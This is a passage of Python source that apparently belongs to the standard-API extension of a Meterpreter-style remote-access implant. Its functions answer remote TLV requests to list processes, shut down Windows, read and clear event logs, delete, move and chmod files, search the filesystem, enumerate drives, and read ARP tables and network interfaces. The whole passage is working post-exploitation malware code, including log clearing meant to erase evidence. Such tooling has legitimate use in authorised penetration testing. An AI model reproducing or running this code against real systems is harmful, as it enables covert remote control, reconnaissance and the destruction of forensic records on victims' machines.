        for k, v in filter(lambda x: len(x) == 2, status_data):
            status[k[:-1]] = v.strip()
        ppid = status.get('PPid')
        uid = status.get('Uid').split('\t', 1)[0]
        if has_pwd:
            uid = pwd.getpwuid(int(uid)).pw_name
        if cmd:
            pname = os.path.basename(cmd.split(' ', 1)[0])
            ppath = cmd
        else:
            pname = '[' + status['Name'] + ']'
            ppath = ''
        pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
        if ppid:
            pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
        pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
        response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
    return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_ps(request, response):
    ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
    proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    ps_output = str(proc_h.stdout.read())
    ps_output = ps_output.split('\n')
    ps_output.pop(0)
    for process in ps_output:
        process = process.split()
        if len(process) < 4:
            break
        pgroup  = bytes()
        pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
        pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
        pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
        pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
        pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
        response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
    return ERROR_SUCCESS, response

def stdapi_sys_process_get_processes_via_windll(request, response):
    TH32CS_SNAPPROCESS = 2
    k32 = ctypes.windll.kernel32
    pe32 = PROCESSENTRY32()
    pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
    proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    result = k32.Process32First(proc_snap, ctypes.byref(pe32))
    if not result:
        return error_result_windows(), response
    while result:
        proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
        if not proc_h:
            proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
        exe_path = (ctypes.c_char * 1024)()
        success = False
        if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
            success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
        elif hasattr(k32, 'GetModuleFileNameExA'):
            success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
        if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
            dw_sz = ctypes.c_uint32()
            dw_sz.value = ctypes.sizeof(exe_path)
            success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
        if not success and hasattr(ctypes.windll.psapi, 'GetProcessImageFileNameA'):
            success = ctypes.windll.psapi.GetProcessImageFileNameA(proc_h, exe_path, ctypes.sizeof(exe_path))
        if success:
            exe_path = ctypes.string_at(exe_path)
        else:
            exe_path = ''
        process_username = ''
        process_token_user = get_token_user(proc_h)
        if process_token_user:
            process_username = get_username_from_token(process_token_user) or ''
        parch = windll_GetNativeSystemInfo()
        is_wow64 = ctypes.c_ubyte()
        is_wow64.value = 0
        if hasattr(k32, 'IsWow64Process'):
            if k32.IsWow64Process(proc_h, ctypes.byref(is_wow64)):
                if is_wow64.value:
                    parch = PROCESS_ARCH_X86
        pgroup  = bytes()
        pgroup += tlv_pack(TLV_TYPE_PID, pe32.th32ProcessID)
        pgroup += tlv_pack(TLV_TYPE_PARENT_PID, pe32.th32ParentProcessID)
        pgroup += tlv_pack(TLV_TYPE_USER_NAME, process_username)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pe32.szExeFile)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, exe_path)
        pgroup += tlv_pack(TLV_TYPE_PROCESS_ARCH, parch)
        response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
        result = k32.Process32Next(proc_snap, ctypes.byref(pe32))
        k32.CloseHandle(proc_h)
    k32.CloseHandle(proc_snap)
    return ERROR_SUCCESS, response

@register_function
def stdapi_sys_process_get_processes(request, response):
    if os.path.isdir('/proc'):
        return stdapi_sys_process_get_processes_via_proc(request, response)
    elif has_windll:
        return stdapi_sys_process_get_processes_via_windll(request, response)
    else:
        return stdapi_sys_process_get_processes_via_ps(request, response)

@register_function_if(has_windll)
def stdapi_sys_power_exitwindows(request, response):
    SE_SHUTDOWN_NAME = "SeShutdownPrivilege"

    flags = packet_get_tlv(request, TLV_TYPE_POWER_FLAGS)['value']
    reason = packet_get_tlv(request, TLV_TYPE_POWER_REASON)['value']

    if not enable_privilege(SE_SHUTDOWN_NAME):
        return error_result_windows(), response

    ExitWindowsEx = ctypes.windll.user32.ExitWindowsEx
    ExitWindowsEx.argtypes = [ctypes.c_uint32, ctypes.c_ulong]
    ExitWindowsEx.restype = ctypes.c_int8
    if not ExitWindowsEx(flags, reason):
        return error_result_windows(), response
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_open(request, response):
    source_name = packet_get_tlv(request, TLV_TYPE_EVENT_SOURCENAME)['value']
    OpenEventLogA = ctypes.windll.advapi32.OpenEventLogA
    OpenEventLogA.argtypes = [ctypes.c_char_p, ctypes.c_char_p]
    OpenEventLogA.restype = ctypes.c_void_p
    handle = OpenEventLogA(None, bytes(source_name, 'UTF-8'))
    if not handle:
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_EVENT_HANDLE, handle)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_read(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    flags = packet_get_tlv(request, TLV_TYPE_EVENT_READFLAGS)['value']
    offset = packet_get_tlv(request, TLV_TYPE_EVENT_RECORDOFFSET)['value']
    bytes_read = ctypes.c_uint32(0)
    bytes_needed = ctypes.c_uint32(0)
    ReadEventLogA = ctypes.windll.advapi32.ReadEventLogA
    ReadEventLogA.argtypes = [ctypes.c_void_p, ctypes.c_uint32, ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.POINTER(ctypes.c_uint32), ctypes.POINTER(ctypes.c_uint32)]
    ReadEventLogA.restype = ctypes.c_bool
    if ReadEventLogA(handle, flags, offset, ctypes.byref(bytes_read), 0, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
        return error_result_windows(), response
    buf = (ctypes.c_uint8 * bytes_needed.value)()
    if not ReadEventLogA(handle, flags, offset, buf, bytes_needed, ctypes.byref(bytes_read), ctypes.byref(bytes_needed)):
        return error_result_windows(), response
    record = ctstruct_unpack(EVENTLOGRECORD, buf)
    response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, record.RecordNumber)
    response += tlv_pack(TLV_TYPE_EVENT_TIMEGENERATED, record.TimeGenerated)
    response += tlv_pack(TLV_TYPE_EVENT_TIMEWRITTEN, record.TimeWritten)
    response += tlv_pack(TLV_TYPE_EVENT_ID, record.EventID)
    response += tlv_pack(TLV_TYPE_EVENT_TYPE, record.EventType)
    response += tlv_pack(TLV_TYPE_EVENT_CATEGORY, record.EventCategory)
    response += tlv_pack(TLV_TYPE_EVENT_DATA, ctarray_to_bytes(buf[record.DataOffset:record.DataOffset + record.DataLength]))
    event_string_buf = (ctypes.c_uint8 * len(buf[record.StringOffset:]))(*buf[record.StringOffset:])
    event_strings = ctarray_to_bytes(event_string_buf).split(NULL_BYTE, record.NumStrings)[:record.NumStrings]
    for event_string in event_strings:
        response += tlv_pack(TLV_TYPE_EVENT_STRING, event_string)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_clear(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    ClearEventLogA = ctypes.windll.advapi32.ClearEventLogA
    ClearEventLogA.argtypes = [ctypes.c_void_p, ctypes.c_char_p]
    ClearEventLogA.restype = ctypes.c_bool
    if not ClearEventLogA(handle, None):
        return error_result_windows(), response
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_numrecords(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    total = ctypes.c_uint32(0)
    GetNumberOfEventLogRecords = ctypes.windll.advapi32.GetNumberOfEventLogRecords
    GetNumberOfEventLogRecords.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.c_uint32)]
    GetNumberOfEventLogRecords.restype = ctypes.c_bool
    if not ctypes.windll.advapi32.GetNumberOfEventLogRecords(handle, ctypes.byref(total)):
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_EVENT_NUMRECORDS, total.value)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_oldest(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    GetOldestEventLogRecord = ctypes.windll.advapi32.GetOldestEventLogRecord
    GetOldestEventLogRecord.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.c_uint32)]
    GetOldestEventLogRecord.restype = ctypes.c_bool
    oldest = ctypes.c_uint32(0)
    if not GetOldestEventLogRecord(handle, ctypes.byref(oldest)):
        return error_result_windows(), response
    response += tlv_pack(TLV_TYPE_EVENT_RECORDNUMBER, oldest.value)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_sys_eventlog_close(request, response):
    handle = packet_get_tlv(request, TLV_TYPE_EVENT_HANDLE)['value']
    CloseEventLog = ctypes.windll.advapi32.CloseEventLog
    CloseEventLog.argtypes = [ctypes.c_void_p]
    CloseEventLog.restype = ctypes.c_bool
    if not CloseEventLog(handle):
        return error_result_windows(), response
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_chdir(request, response):
    wd = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
    os.chdir(unicode(wd))
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_delete_dir(request, response):
    dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
    dir_path = unicode(dir_path)
    if os.path.islink(dir_path):
        del_func = os.unlink
    else:
        del_func = shutil.rmtree
    try:
        del_func(dir_path)
    except OSError:
        return ERROR_FAILURE, response
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_delete_file(request, response):
    file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    if has_windll:
        subprocess.call(unicode("attrib.exe -r ") + file_path)
    try:
        os.unlink(unicode(file_path))
    except OSError:
        return ERROR_FAILURE, response
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_file_expand_path(request, response):
    path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    if has_windll:
        path_tlv = ctypes.create_string_buffer(bytes(path_tlv, 'UTF-8'))
        path_out = (ctypes.c_char * 4096)()
        path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(ctypes.byref(path_tlv), ctypes.byref(path_out), ctypes.sizeof(path_out))
        result = str(ctypes.string_at(path_out))
    elif path_tlv == '%COMSPEC%':
        result = '/bin/sh'
    elif path_tlv in ['%TEMP%', '%TMP%']:
        result = '/tmp'
    else:
        result = os.getenv(path_tlv, path_tlv)
    if not result:
        return ERROR_FAILURE, response
    response += tlv_pack(TLV_TYPE_FILE_PATH, result)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_file_move(request, response):
    oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
    newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    os.rename(unicode(oldname), unicode(newname))
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_file_copy(request, response):
    oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
    newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    shutil.copyfile(unicode(oldname), unicode(newname))
    return ERROR_SUCCESS, response

@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux'))
def stdapi_fs_chmod(request, response):
    path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    mode = packet_get_tlv(request, TLV_TYPE_FILE_MODE_T)['value']
    os.chmod(unicode(path), mode)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_getwd(request, response):
    if hasattr(os, 'getcwdu'):
        wd = os.getcwdu()
    else:
        wd = os.getcwd()
    response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, wd)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_ls(request, response):
    path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
    path = os.path.abspath(unicode(path))
    glob = '*'
    if any((c in ['*','[','?']) for c in path):
        glob = os.path.basename(path)
        path = os.path.dirname(path)
    for file_name in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(path)):
        file_path = os.path.join(path, file_name)
        response += tlv_pack(TLV_TYPE_FILE_NAME, file_name)
        response += tlv_pack(TLV_TYPE_FILE_PATH, file_path)
        try:
            st_buf = get_stat_buffer(file_path)
        except OSError:
            st_buf = bytes()
        response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_md5(request, response):
    try:
        import hashlib
        m = hashlib.md5()
    except ImportError:
        import md5
        m = md5.new()
    path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    m.update(open(path, 'rb').read())
    response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_mkdir(request, response):
    dir_path = packet_get_tlv(request, TLV_TYPE_DIRECTORY_PATH)['value']
    dir_path = unicode(dir_path)
    if not os.path.isdir(dir_path):
        os.mkdir(dir_path)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_search(request, response):
    search_root = packet_get_tlv(request, TLV_TYPE_SEARCH_ROOT).get('value', '.')
    if not search_root: # sometimes it's an empty string
        search_root = '.'
    search_root = unicode(search_root)
    glob = packet_get_tlv(request, TLV_TYPE_SEARCH_GLOB)['value']
    recurse = packet_get_tlv(request, TLV_TYPE_SEARCH_RECURSE)['value']
    start_date = packet_get_tlv(request,TLV_TYPE_SEARCH_M_START_DATE)
    end_date = packet_get_tlv(request,TLV_TYPE_SEARCH_M_END_DATE)
    if recurse:
        for root, dirs, files in os.walk(search_root):
            for f in filter(lambda f: fnmatch.fnmatch(f, glob), files):
                file_stat = os.stat(os.path.join(root, f))
                mtime = int(file_stat.st_mtime)
                if start_date and start_date['value'] > mtime:
                    continue
                if end_date and end_date['value'] < mtime:
                    continue
                file_tlv  = bytes()
                file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, root)
                file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
                file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, file_stat.st_size)
                file_tlv += tlv_pack(TLV_TYPE_SEARCH_MTIME, mtime)
                response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
    else:
        for f in filter(lambda f: fnmatch.fnmatch(f, glob), os.listdir(search_root)):
            file_stat = os.stat(os.path.join(search_root, f))
            mtime = int(file_stat.st_mtime)
            if start_date and start_date['value'] > mtime:
                continue
            if end_date and end_date['value'] < mtime:
                continue
            file_tlv  = bytes()
            file_tlv += tlv_pack(TLV_TYPE_FILE_PATH, search_root)
            file_tlv += tlv_pack(TLV_TYPE_FILE_NAME, f)
            file_tlv += tlv_pack(TLV_TYPE_FILE_SIZE, file_stat.st_size)
            file_tlv += tlv_pack(TLV_TYPE_SEARCH_MTIME, mtime)
            response += tlv_pack(TLV_TYPE_SEARCH_RESULTS, file_tlv)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_separator(request, response):
    response += tlv_pack(TLV_TYPE_STRING, os.sep)
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_sha1(request, response):
    try:
        import hashlib
        m = hashlib.sha1()
    except ImportError:
        import sha
        m = sha.new()
    path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    m.update(open(path, 'rb').read())
    response += tlv_pack(TLV_TYPE_FILE_HASH, m.digest())
    return ERROR_SUCCESS, response

@register_function
def stdapi_fs_stat(request, response):
    path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
    st_buf = get_stat_buffer(unicode(path))
    response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
    return ERROR_SUCCESS, response

@register_function_if(has_windll)
def stdapi_fs_mount_show(request, response):
    letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
    k32 = ctypes.windll.kernel32
    mpr = ctypes.windll.mpr
    # Retrieves a bitmask representing the currently available disk drives
    bitmask = k32.GetLogicalDrives()
    # List of currently available disk drives
    drives = []
    for drive_letter in letters:
        # Check if drive is present
        if bitmask & 1:
            drives.append(drive_letter + ':')
        # Move to next drive letter
        bitmask >>= 1
    for drive in drives:
        drive_type = k32.GetDriveTypeW(drive)
        mount = bytes()
        mount += tlv_pack(TLV_TYPE_MOUNT_NAME, drive)
        mount += tlv_pack(TLV_TYPE_MOUNT_TYPE, drive_type)
        # Get UNC path for network drives
        if drive_type == DRIVE_REMOTE:
            buf = ctypes.create_unicode_buffer(1024)
            bufsize = ctypes.c_ulong(1024)
            if mpr.WNetGetUniversalNameW(drive, UNIVERSAL_NAME_INFO_LEVEL, ctypes.byref(buf), ctypes.byref(bufsize)) == 0:
                pUniversalNameInfo = ctstruct_unpack(UNIVERSAL_NAME_INFO, buf)
                mount += tlv_pack(TLV_TYPE_MOUNT_UNCPATH, pUniversalNameInfo.lpUniversalName)
        # Retrieve information about the amount of space that is available on a disk volume
        user_free_bytes = ctypes.c_ulonglong(0)
        total_bytes = ctypes.c_ulonglong(0)
        total_free_bytes = ctypes.c_ulonglong(0)
        if k32.GetDiskFreeSpaceExW(drive, ctypes.byref(user_free_bytes), ctypes.byref(total_bytes), ctypes.byref(total_free_bytes)):
            mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_USER, user_free_bytes.value)
            mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_TOTAL, total_bytes.value)
            mount += tlv_pack(TLV_TYPE_MOUNT_SPACE_FREE, total_free_bytes.value)
        response += tlv_pack(TLV_TYPE_MOUNT_GROUP, mount)
    return ERROR_SUCCESS, response

@register_function_if(sys.platform.startswith('linux') or has_windll)
def stdapi_net_config_get_arp_table(request, response):
    if has_windll:
        MIB_IPNET_TYPE_DYNAMIC = 3
        MIB_IPNET_TYPE_STATIC  = 4

        GetIpNetTable = ctypes.windll.iphlpapi.GetIpNetTable
        GetIpNetTable.argtypes = [ctypes.c_void_p, ctypes.POINTER(ctypes.c_ulong), ctypes.c_long]
        GetIpNetTable.restype = ctypes.c_ulong

        ipnet_table = None
        size = ctypes.c_ulong(0)
        result = GetIpNetTable(ipnet_table, size, False)

        if result == ERROR_INSUFFICIENT_BUFFER:
            ipnet_table = ctypes.cast(ctypes.create_string_buffer(bytes(), size.value), ctypes.c_void_p)

        elif result != ERROR_SUCCESS and result != ERROR_NO_DATA:
            return error_result_windows(result), response

        if not ipnet_table:
            return error_result_windows(), response

        result = GetIpNetTable(ipnet_table, size, False)
        if result != ERROR_SUCCESS:
            return error_result_windows(result), response

        class MIB_IPNETTABLE(ctypes.Structure):
            _fields_ = [
                ('dwNumEntries', ctypes.c_uint32),
                ('table', MIB_IPNETROW * ctypes.cast(ipnet_table.value, ctypes.POINTER(ctypes.c_ulong)).contents.value)
            ]

        ipnet_table = ctypes.cast(ipnet_table, ctypes.POINTER(MIB_IPNETTABLE))
        for ipnet_row in ipnet_table.contents.table:
            if (ipnet_row.dwType != MIB_IPNET_TYPE_DYNAMIC and ipnet_row.dwType != MIB_IPNET_TYPE_STATIC):
                continue
            arp_tlv  = bytes()
            arp_tlv += tlv_pack(TLV_TYPE_IP, struct.pack('<L', ipnet_row.dwAddr))
            arp_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, bytes(ipnet_row.bPhysAddr)[:ipnet_row.dwPhysAddrLen])
            arp_tlv += tlv_pack(TLV_TYPE_MAC_NAME, str(ipnet_row.dwIndex))
            response += tlv_pack(TLV_TYPE_ARP_ENTRY, arp_tlv)

    elif sys.platform.startswith('linux'):
        arp_cache_file = '/proc/net/arp'
        if not os.path.exists(arp_cache_file):
            return ERROR_NOT_SUPPORTED, response

        with open(arp_cache_file, 'r') as arp_cache:
            lines = arp_cache.readlines()
            import binascii
            for line in lines[1:]:
                fields = line.split()
                ip_address = fields[0]
                mac_address = fields[3]
                mac_address = binascii.unhexlify(mac_address.replace(':', ''))
                interface_name = fields[5]
                arp_tlv  = bytes()
                arp_tlv += tlv_pack(TLV_TYPE_IP, socket.inet_aton(ip_address))
                arp_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, mac_address)
                arp_tlv += tlv_pack(TLV_TYPE_MAC_NAME, interface_name)
                response += tlv_pack(TLV_TYPE_ARP_ENTRY, arp_tlv)
    return ERROR_SUCCESS, response

@register_function
def stdapi_net_config_get_interfaces(request, response):
    if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
        interfaces = stdapi_net_config_get_interfaces_via_netlink()
    elif sys.platform == 'darwin':
        interfaces = stdapi_net_config_get_interfaces_via_osx_ifconfig()
    elif has_windll:
        interfaces = stdapi_net_config_get_interfaces_via_windll()
    else:
        return ERROR_FAILURE, response
    for iface_info in interfaces:
        iface_tlv  = bytes()
        iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
        iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
        if 'mtu' in iface_info:
            iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
        if 'flags' in iface_info:
            iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
        iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
        for address in iface_info.get('addrs', []):
            iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
            if isinstance(address[2], (int, long)):
                iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
            else:
                iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
        response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
    return ERROR_SUCCESS, response

def stdapi_net_config_get_interfaces_via_netlink():
    rta_align = lambda l: l+3 & ~3
    iface_flags = {
        0x0001: 'UP',
        0x0002: 'BROADCAST',
        0x0008: 'LOOPBACK',
        0x0010: 'POINTTOPOINT',
        0x0040: 'RUNNING',
        0x0100: 'PROMISC',
        0x1000: 'MULTICAST'
    }
    iface_flags_sorted = list(iface_flags.keys())
    # Dictionaries don't maintain order
    iface_flags_sorted.sort()
    interfaces = {}

    responses = netlink_request(RTM_GETLINK, IFINFOMSG())
    for res_data in responses:
        iface = ctstruct_unpack(IFINFOMSG, res_data)
        iface_info = {'index':iface.index}
        flags = []
        for flag in iface_flags_sorted:
            if (iface.flags & flag):
                flags.append(iface_flags[flag])
        iface_info['flags'] = ' '.join(flags)
        cursor = ctypes.sizeof(IFINFOMSG)
        while cursor < len(res_data):
            attribute = ctstruct_unpack(RTATTR, res_data[cursor:])
            at_len = attribute.len
            attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
            cursor += rta_align(at_len)

            if attribute.type == IFLA_ADDRESS:
                iface_info['hw_addr'] = attr_data
            elif attribute.type == IFLA_IFNAME:
                iface_info['name'] = attr_data
            elif attribute.type == IFLA_MTU:
                iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
        interfaces[iface.index] = iface_info

    responses = netlink_request(RTM_GETADDR, IFADDRMSG())
    for res_data in responses:
        iface = ctstruct_unpack(IFADDRMSG, res_data)
        if not iface.family in (socket.AF_INET, socket.AF_INET6):
            continue
        iface_info = interfaces.get(iface.index, {})
        cursor = ctypes.sizeof(IFADDRMSG)
        while cursor < len(res_data):
            attribute = ctstruct_unpack(RTATTR, res_data[cursor:])
            at_len = attribute.len
            attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
            cursor += rta_align(at_len)

            if attribute.type == IFA_ADDRESS:
                nm_bits = iface.prefixlen
                if iface.family == socket.AF_INET:
                    netmask = calculate_32bit_netmask(nm_bits)
                else:
                    netmask = calculate_128bit_netmask(nm_bits)
                addr_list = iface_info.get('addrs', [])
                addr_list.append((iface.family, attr_data, netmask))
                iface_info['addrs'] = addr_list
            elif attribute.type == IFA_LABEL:
                iface_info['name'] = attr_data
        interfaces[iface.index] = iface_info
    return interfaces.values()

def stdapi_net_config_get_interfaces_via_osx_ifconfig():
    proc_h = subprocess.Popen('/sbin/ifconfig', stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if proc_h.wait():
        raise Exception('ifconfig exited with non-zero status')
    output = proc_h.stdout.read()

    interfaces = []
    iface = {}
    for line in output.split('\n'):
        match = re.match(r'^([a-z0-9]+): flags=(\d+)<[A-Z,]*> mtu (\d+)\s*$', line)
        if match is not None:
            if iface:
                interfaces.append(iface)
            iface = {}
            iface['name'] = match.group(1)
            iface['flags'] = int(match.group(2))
            iface['mtu'] = int(match.group(3))
            iface['index'] = len(interfaces)
            continue
        match = re.match(r'^\s+ether (([a-f0-9]{2}:){5}[a-f0-9]{2})\s*$', line)
        if match is not None:
            iface['hw_addr'] = ''.join(list(chr(int(b, 16)) for b in match.group(1).split(':')))
            continue
        match = re.match(r'^\s+inet ((\d+\.){3}\d+) netmask 0x([a-f0-9]{8})( broadcast ((\d+\.){3}\d+))?\s*$', line)
        if match is not None:
            addrs = iface.get('addrs', [])
            netmask = struct.pack('!I', int(match.group(3), 16))
            addrs.append((socket.AF_INET, inet_pton(socket.AF_INET, match.group(1)), netmask))
            iface['addrs'] = addrs
            continue
        match = re.match(r'^\s+inet6 ([a-f0-9:]+)(%[a-z0-9]+)? prefixlen (\d+)( secured)?( scopeid 0x[a-f0-9]+)?\s*$', line)
        if match is not None:
            addrs = iface.get('addrs', [])
            netmask = calculate_128bit_netmask(int(match.group(3)))
            addrs.append((socket.AF_INET6, inet_pton(socket.AF_INET6, match.group(1)), netmask))
            iface['addrs'] = addrs
            continue
    if iface:
        interfaces.append(iface)
    return interfaces

def stdapi_net_config_get_interfaces_via_windll():
    iphlpapi = ctypes.windll.iphlpapi
    Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
    AdapterAddresses = ctypes.c_void_p()
    SizePointer = ctypes.c_ulong()
    SizePointer.value = 0
    iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
    AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
    iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
    AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
    AdapterAddresses = ctstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
    if AdapterAddresses.u.s.Length <= 72:
        raise RuntimeError('invalid AdapterAddresses length')
    win_version = windll_GetVersion()
    interfaces = []
    pAdapterAddresses = ctypes.byref(AdapterAddresses)
    while pAdapterAddresses:
        AdapterAddresses = ctstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
        pAdapterAddresses = AdapterAddresses.Next
        pFirstPrefix = AdapterAddresses.FirstPrefix
        iface_info = {}
        iface_info['index'] = AdapterAddresses.u.s.IfIndex
        if AdapterAddresses.PhysicalAddressLength:
            iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
        iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
        if not is_str(iface_desc):
            iface_desc = str(iface_desc)
        iface_info['name'] = iface_desc
        iface_info['mtu'] = AdapterAddresses.Mtu
        pUniAddr = AdapterAddresses.FirstUnicastAddress
        while pUniAddr:
            UniAddr = ctstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
            pUniAddr = UniAddr.Next
            address = ctstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
            if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
                continue
            prefix = 0
            if win_version.dwMajorVersion >= 6:
                prefix = UniAddr.OnLinkPrefixLength
            elif pFirstPrefix:
                ip_adapter_prefix = 'QPPIL'
                prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
                prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
            iface_addresses = iface_info.get('addrs', [])
            if address.sa_family == socket.AF_INET:
                iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
            else:
                iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
            iface_info['addrs'] = iface_addresses
        interfaces.append(iface_info)
    return interfaces

@register_function
def stdapi_net_config_get_routes(request, response):
    if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
        routes = stdapi_net_config_get_routes_via_netlink()
